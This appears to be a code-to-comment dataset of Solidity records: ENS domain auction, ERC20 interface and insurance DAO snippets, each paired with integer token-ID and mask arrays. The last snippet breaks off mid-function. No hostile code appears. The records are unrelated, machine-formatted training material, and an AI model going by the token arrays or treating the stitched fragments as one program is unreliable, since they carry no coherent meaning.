[ 1, 5912, 23178, 358, 394, 1758, 18, 20646, 1297, 506, 3410, 18, 3519, 6606, 1592, 3410, 10799, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 5460, 12565, 12, 2867, 8843, 429, 1261, 86, 13, 1071, 1338, 5541, 288, 203, 3639, 3410, 273, 1261, 86, 31, 203, 3639, 2869, 7089, 63, 361, 86, 65, 273, 638, 31, 203, 3639, 3626, 14223, 9646, 5310, 1429, 4193, 12, 361, 86, 1769, 203, 565, 289, 203, 565, 871, 14223, 9646, 5310, 1429, 4193, 12, 2867, 3410, 1769, 203, 565, 871, 6712, 1235, 12, 2867, 1261, 86, 1769, 203, 565, 871, 15799, 12, 2867, 1261, 86, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xabb8Ab1D4f38f3e45a83c20332ad12a1C3edcE07/sources/contracts/mojito/onchain/TokenGating.sol
sets interface ERC721 Id
bytes4 private constant ERC721_INTERFACE_ID = 0x80ac58cd;
4,367,402
[ 1, 4424, 1560, 4232, 39, 27, 5340, 3124, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1731, 24, 3238, 5381, 4232, 39, 27, 5340, 67, 18865, 67, 734, 273, 374, 92, 3672, 1077, 8204, 4315, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.2; // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. import "node_modules/wealdtech-solidity/contracts/ens/ENSReverseRegister.sol"; import "node_modules/wealdtech-solidity/contracts/math/SafeMath.sol"; import "node_modules/wealdtech-solidity/contracts/auth/Permissioned.sol"; import "node_modules/wealdtech-solidity/contracts/lifecycle/Pausable.sol"; // Interesting parts of the ENS deed contract Deed { address public owner; address public previousOwner; } // Interesting parts of the ENS registry contract Registry { function owner(bytes32 _hash) public constant returns (address); } // Interesting parts of the ENS registrar contract Registrar { function transfer(bytes32 _hash, address newOwner) public; function entries(bytes32 _hash) public constant returns (uint, Deed, uint, uint, uint); } contract DomainSale is ENSReverseRegister, Pausable { using SafeMath for uint256; Registrar public registrar; mapping (string => Sale) private sales; mapping (address => uint256) private balances; // Auction parameters uint256 private constant AUCTION_DURATION = 24 hours; uint256 private constant HIGH_BID_KICKIN = 7 days; uint256 private constant NORMAL_BID_INCREASE_PERCENTAGE = 10; uint256 private constant HIGH_BID_INCREASE_PERCENTAGE = 50; // Distribution of the sale funds uint256 private constant SELLER_SALE_PERCENTAGE = 90; uint256 private constant START_REFERRER_SALE_PERCENTAGE = 5; uint256 private constant BID_REFERRER_SALE_PERCENTAGE = 5; // ENS string private constant CONTRACT_ENS = "domainsale.eth"; // Hex is namehash("eth") bytes32 private constant NAMEHASH_ETH = 0x93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae; struct Sale { // The lowest direct purchase price that will be accepted uint256 price; // The lowest auction bid that will be accepted uint256 reserve; // The last bid on the auction. 0 if no bid has been made uint256 lastBid; // The address of the last bider on the auction. 0 if no bid has been made address lastBidder; // The timestamp when this auction started uint256 auctionStarted; // The timestamp at which this auction ends uint256 auctionEnds; // The address of the referrer who started the sale address startReferrer; // The address of the referrer who supplied the winning bid address bidReferrer; } // // Events // // Sent when a name is offered (can occur multiple times if the seller // changes their prices) event Offer(address indexed seller, string name, uint256 price, uint256 reserve); // Sent when a bid is placed for a name event Bid(address indexed bidder, string name, uint256 bid); // Sent when a name is transferred to a new owner event Transfer(address indexed seller, address indexed buyer, string name, uint256 value); // Sent when a sale for a name is cancelled event Cancel(string name); // Sent when funds are withdrawn event Withdraw(address indexed recipient, uint256 amount); // // Modifiers // // Actions that can only be undertaken by the seller of the name. // The owner of the name is this contract, so we use the previous // owner from the deed modifier onlyNameSeller(string _name) { Deed deed; (,deed,,,) = registrar.entries(keccak256(_name)); require(deed.owner() == address(this)); require(deed.previousOwner() == msg.sender); _; } // It is possible for a name to be invalidated, in which case the // owner will be reset modifier deedValid(string _name) { address deed; (,deed,,,) = registrar.entries(keccak256(_name)); require(deed != 0); _; } // Actions that can only be undertaken if the name sale has attracted // no bids. modifier auctionNotStarted(string _name) { require(sales[_name].auctionStarted == 0); _; } // Allow if the name can be bid upon modifier canBid(string _name) { require(sales[_name].reserve != 0); _; } // Allow if the name can be purchased modifier canBuy(string _name) { require(sales[_name].price != 0); _; } /** * @dev Constructor takes the address of the ENS registry */ function DomainSale(address _registry) public ENSReverseRegister(_registry, CONTRACT_ENS) { registrar = Registrar(Registry(_registry).owner(NAMEHASH_ETH)); } // // Accessors for sales struct // /** * @dev return useful information from the sale structure in one go */ function sale(string _name) public constant returns (uint256, uint256, uint256, address, uint256, uint256) { Sale storage s = sales[_name]; return (s.price, s.reserve, s.lastBid, s.lastBidder, s.auctionStarted, s.auctionEnds); } /** * @dev a flag set if this name can be purchased through auction */ function isAuction(string _name) public constant returns (bool) { return sales[_name].reserve != 0; } /** * @dev a flag set if this name can be purchased outright */ function isBuyable(string _name) public constant returns (bool) { return sales[_name].price != 0 && sales[_name].auctionStarted == 0; } /** * @dev a flag set if the auction has started */ function auctionStarted(string _name) public constant returns (bool) { return sales[_name].lastBid != 0; } /** * @dev the time at which the auction ends */ function auctionEnds(string _name) public constant returns (uint256) { return sales[_name].auctionEnds; } /** * @dev minimumBid is the greater of the minimum bid or the last bid + 10%. * If an auction has been going longer than 7 days then it is the last * bid + 50%. */ function minimumBid(string _name) public constant returns (uint256) { Sale storage s = sales[_name]; if (s.auctionStarted == 0) { return s.reserve; } else if (s.auctionStarted.add(HIGH_BID_KICKIN) > now) { return s.lastBid.add(s.lastBid.mul(NORMAL_BID_INCREASE_PERCENTAGE).div(100)); } else { return s.lastBid.add(s.lastBid.mul(HIGH_BID_INCREASE_PERCENTAGE).div(100)); } } /** * @dev price is the instant purchase price. */ function price(string _name) public constant returns (uint256) { return sales[_name].price; } /** * @dev The balance available for withdrawal */ function balance(address addr) public constant returns (uint256) { return balances[addr]; } // // Operations // /** * @dev offer a domain for sale. * The price is the price at which a domain can be purchased directly. * The reserve is the initial lowest price for which a bid can be made. */ function offer(string _name, uint256 _price, uint256 reserve, address referrer) onlyNameSeller(_name) auctionNotStarted(_name) deedValid(_name) ifNotPaused public { require(_price == 0 || _price > reserve); require(_price != 0 || reserve != 0); Sale storage s = sales[_name]; s.reserve = reserve; s.price = _price; s.startReferrer = referrer; Offer(msg.sender, _name, _price, reserve); } /** * @dev cancel a sale for a domain. * This can only happen if there have been no bids for the name. */ function cancel(string _name) onlyNameSeller(_name) auctionNotStarted(_name) deedValid(_name) ifNotPaused public { // Finished with the sale information delete sales[_name]; registrar.transfer(keccak256(_name), msg.sender); Cancel(_name); } /** * @dev buy a domain directly */ function buy(string _name, address bidReferrer) canBuy(_name) deedValid(_name) ifNotPaused public payable { Sale storage s = sales[_name]; require(msg.value >= s.price); require(s.auctionStarted == 0); // Obtain the previous owner from the deed Deed deed; (,deed,,,) = registrar.entries(keccak256(_name)); address previousOwner = deed.previousOwner(); // Transfer the name registrar.transfer(keccak256(_name), msg.sender); Transfer(previousOwner, msg.sender, _name, msg.value); // Distribute funds to referrers distributeFunds(msg.value, previousOwner, s.startReferrer, bidReferrer); // Finished with the sale information delete sales[_name]; // As we're here, return any funds that the sender is owed withdraw(); } /** * @dev bid for a domain */ function bid(string _name, address bidReferrer) canBid(_name) deedValid(_name) ifNotPaused public payable { require(msg.value >= minimumBid(_name)); Sale storage s = sales[_name]; require(s.auctionStarted == 0 || now < s.auctionEnds); if (s.auctionStarted == 0) { // First bid; set the auction start s.auctionStarted = now; } else { // Update the balance for the outbid bidder balances[s.lastBidder] = balances[s.lastBidder].add(s.lastBid); } s.lastBidder = msg.sender; s.lastBid = msg.value; s.auctionEnds = now.add(AUCTION_DURATION); s.bidReferrer = bidReferrer; Bid(msg.sender, _name, msg.value); // As we're here, return any funds that the sender is owed withdraw(); } /** * @dev finish an auction */ function finish(string _name) deedValid(_name) ifNotPaused public { Sale storage s = sales[_name]; require(now > s.auctionEnds); // Obtain the previous owner from the deed Deed deed; (,deed,,,) = registrar.entries(keccak256(_name)); address previousOwner = deed.previousOwner(); registrar.transfer(keccak256(_name), s.lastBidder); Transfer(previousOwner, s.lastBidder, _name, s.lastBid); // Distribute funds to referrers distributeFunds(s.lastBid, previousOwner, s.startReferrer, s.bidReferrer); // Finished with the sale information delete sales[_name]; // As we're here, return any funds that the sender is owed withdraw(); } /** * @dev withdraw any owned balance */ function withdraw() ifNotPaused public { uint256 amount = balances[msg.sender]; if (amount > 0) { balances[msg.sender] = 0; msg.sender.transfer(amount); Withdraw(msg.sender, amount); } } /** * @dev Invalidate an auction if the deed is no longer active */ function invalidate(string _name) ifNotPaused public { // Ensure the deed has been invalidated address deed; (,deed,,,) = registrar.entries(keccak256(_name)); require(deed == 0); Sale storage s = sales[_name]; // Update the balance for the winning bidder balances[s.lastBidder] = balances[s.lastBidder].add(s.lastBid); // Finished with the sale information delete sales[_name]; // Cancel the auction Cancel(_name); // As we're here, return any funds that the sender is owed withdraw(); } // // Internal functions // /** * @dev Distribute funds for a sale to the relevant parties */ function distributeFunds(uint256 amount, address seller, address startReferrer, address bidReferrer) internal { uint256 startReferrerFunds = amount.mul(START_REFERRER_SALE_PERCENTAGE).div(100); balances[startReferrer] = balances[startReferrer].add(startReferrerFunds); uint256 bidReferrerFunds = amount.mul(BID_REFERRER_SALE_PERCENTAGE).div(100); balances[bidReferrer] = balances[bidReferrer].add(bidReferrerFunds); uint256 sellerFunds = amount.sub(startReferrerFunds).sub(bidReferrerFunds); balances[seller] = balances[seller].add(sellerFunds); } }
* @dev price is the instant purchase price./
function price(string _name) public constant returns (uint256) { return sales[_name].price; }
6,352,977
[ 1, 8694, 353, 326, 5934, 23701, 6205, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6205, 12, 1080, 389, 529, 13, 1071, 5381, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 272, 5408, 63, 67, 529, 8009, 8694, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43114/0xAf1843657F00F8C048139B7103784fdeFC403702/sources/TangleV1.1.sol
Distributor To Market Maker Multiplier
tax[320] = 4e9;
4,616,620
[ 1, 1669, 19293, 2974, 6622, 278, 490, 6388, 5991, 5742, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 5320, 63, 31273, 65, 273, 225, 1059, 73, 29, 31, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x175586ac3f8A7463499D1019A30120aa6fC67C5f/sources/Sett.sol
* @dev Interface of the ERC20 standard as defined in the EIP./
interface IERC20Detailed { function totalSupply() external view returns (uint256); function name() external view returns (string memory); function symbol() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }
2,611,302
[ 1, 1358, 434, 326, 4232, 39, 3462, 4529, 487, 2553, 316, 326, 512, 2579, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 3462, 40, 6372, 288, 203, 565, 445, 2078, 3088, 1283, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 508, 1435, 3903, 1476, 1135, 261, 1080, 3778, 1769, 203, 565, 445, 3273, 1435, 3903, 1476, 1135, 261, 1080, 3778, 1769, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 7412, 12, 2867, 8027, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 1699, 1359, 12, 2867, 3410, 16, 1758, 17571, 264, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 7412, 1265, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 203, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 3410, 16, 1758, 8808, 17571, 264, 16, 2254, 5034, 460, 1769, 203, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// contract to insure additional civil laybility for car owners // in order to cover exeed of limit og obligatory laybility insurance pragma solidity ^0.5.0; import './ClaimManagersList.sol'; contract SelfInsuranceDao { enum InsuranceContractStatus {InForce, NTU, Ended} //+Lapsed? enum ClaimStatus {Accepted, Rejected, InProgress} struct InsuranceContract { //uint256 contractId; InsuranceContractStatus status; uint startDate; //uint256 contractTerm; //always 360 days uint sumAssured; uint premium; //uint256 reserve; uint profitShareSum; address owner; //product specific attributes: //bytes32 VINhash; } struct Member { address memberAddress; address parentAddress; uint reserve; } struct ClaimFolder { ClaimStatus status; string claimURL; uint claimAmount; uint amountToSettle; address[numberOfClaimFolderManagers] managers; uint claimDate; //uint256 claimApplicationDate; uint256 votesPro; uint256 votesContra; //address beneficiary; uint256 contractNum; } /* event NewClaimApplied(); event ClaimPassed(uint256 _claimAmount, ClaimStatus _cstatus); event NewContractBought(address _add, uint256 _premiumAmount); */ //***some Contract constant and variables*** uint minSumAssured; uint maxSumAssured; uint claimDeposit; //sum of deposit to start process claim - in order avoid claims spam //uint256 contractTermInDays; uint256 NTUTermInDays = 15 days; uint256 tariffNum; uint256 tariffCount; //insurance tariff = (tariffNum / tariffCount) - we split to 2 figures cause we use integers only //lists of contracts managers and etc ClaimManagersList claimManagersList; InsuranceContract[] insuranceContracts; //list of contracts ClaimFolder[] claimFolders; //list of claim folders Member[] members; //list of members uint constant numberOfClaimFolderManagers = 3; //constant number of managers to reconcile the applied claim uint256 reserve; uint256 adminFee; constructor (uint _minsum, uint _maxsum, uint _deposit, uint256 _tariffNum, uint256 _tariffCount, address _cmlist) public { require(_minsum > 0); require(_maxsum >= _minsum); //require(_deposit >= _minsum * _tariffNum / _tariffCount); //require(_deposit <= _maxsum * _tariffNum / _tariffCount); require(_tariffNum > 0); require(_tariffCount > 0); //simple check if claimmanagerslist exists as contract. should change by calling some spesific function uint size; assembly { size := extcodesize(_cmlist) } require(size > 0); minSumAssured = _minsum * 1 finney; maxSumAssured = _maxsum * 1 finney; claimDeposit = _deposit * (1 finney); //temp nominated in finney tariffNum = _tariffNum; tariffCount = _tariffCount; claimManagersList = ClaimManagersList(_cmlist); } //*** /* //*** group of product specific functions function checkIfVinInsured(string _vin) private constant returns (bool _vinf) { _vinf = false; for (uint256 i = 0; i < insuranceContracts.length; i++) { if (insuranceContracts[i].VINhash == keccak256(_vin) && insuranceContracts[i].status == InsuranceContractStatus.InForce) { _vinf = true; break; } } } function returnInsuranceContractByVinNum (string _vin) private constant returns (uint _insContractNum) { _insContractNum = 0; //zero means no contract have been found for (uint256 i = 0; i < insuranceContracts.length; i ++) { if (insuranceContracts[i].status == InsuranceContractStatus.InForce && insuranceContracts[i].VINhash == keccak256(_vin)) { _insContractNum = i + 1; //add 1 to distinct from zero break; } } } function returnInsuranceContractByOwnerNVinNum (address _add, string _vin) private constant returns (uint _insContractNum) { _insContractNum = 0; //zero means no contract have been found for (uint256 i = 0; i < insuranceContracts.length; i ++) { if 